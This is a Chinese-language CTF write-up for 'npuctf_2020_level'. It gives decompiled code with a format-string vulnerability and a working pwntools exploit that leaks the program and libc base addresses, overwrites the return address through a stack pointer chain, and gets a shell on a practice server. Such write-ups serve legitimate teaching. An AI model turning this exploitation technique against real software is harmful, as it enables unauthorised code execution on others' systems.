npuctf_2020_level
1.保护检查

2.源代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13
| int __cdecl main(int argc, const char **argv, const char **envp) { setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); while ( 1 ) { read(0, buf, 0x64uLL); if ( !strcmp(buf, "66666666") ) break; printf(buf); } return 0; }
|
非栈上的格式化字符串漏洞,输入66666666会退出

在0x7fffffffdf88处有一条rbp链可用
0x7fffffffdf70处和0x7fffffffdf78处分别可以泄露程序加载基址和libc加载基址
0x7fffffffdf88在第9个参数的位置,0x7fffffffe058在第35个参数的位置。
思路是将0x7fffffffe058处所存的0x7fffffffe388改到返回地址的地方,再把返回地址改成onegadget的地址就可以拿到shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| from pwn import * context(os='linux',arch='amd64',log_level='debug') #p = process("./buu") p = remote('node4.buuoj.cn',25110) libc = ELF("u1864.so") def debug(): gdb.attach(p) buf_offset = 0x201040 payload = "%6$p%7$p%9$p" p.sendline(payload) base = int(p.recv(14),16) - 0x830 print(hex(base)) libcbase = int(p.recv(14),16) - libc.sym['__libc_start_main'] - 231 print(hex(libcbase)) stack_addr = int(p.recv(14),16) - 0xe0 num1 = (stack_addr & 0xffff) onegadget = [0x4f2c5,0x4f322,0x10a38c] og = libcbase + onegadget[0] buf_addr = base + buf_offset payload = "%" + str(num1) + "c%9$hn" p.sendline(payload) #print(hex(libc.sym['__libc_start_main']))
p.recv() payload = "%{}c%35$hn".format(og & 0xffff) p.sendline(payload)
p.recv() payload = "%{}c%9$hhn".format((num1 & 0xff) + 2) p.sendline(payload)
p.recv() payload = "%{}c%35$hn".format((og >> 16) & 0xffff) p.sendline(payload)
p.recv() payload = "66666666" + "\x00" * 8 p.sendline(payload)
p.sendline("cat flag") #debug() p.interactive()
|
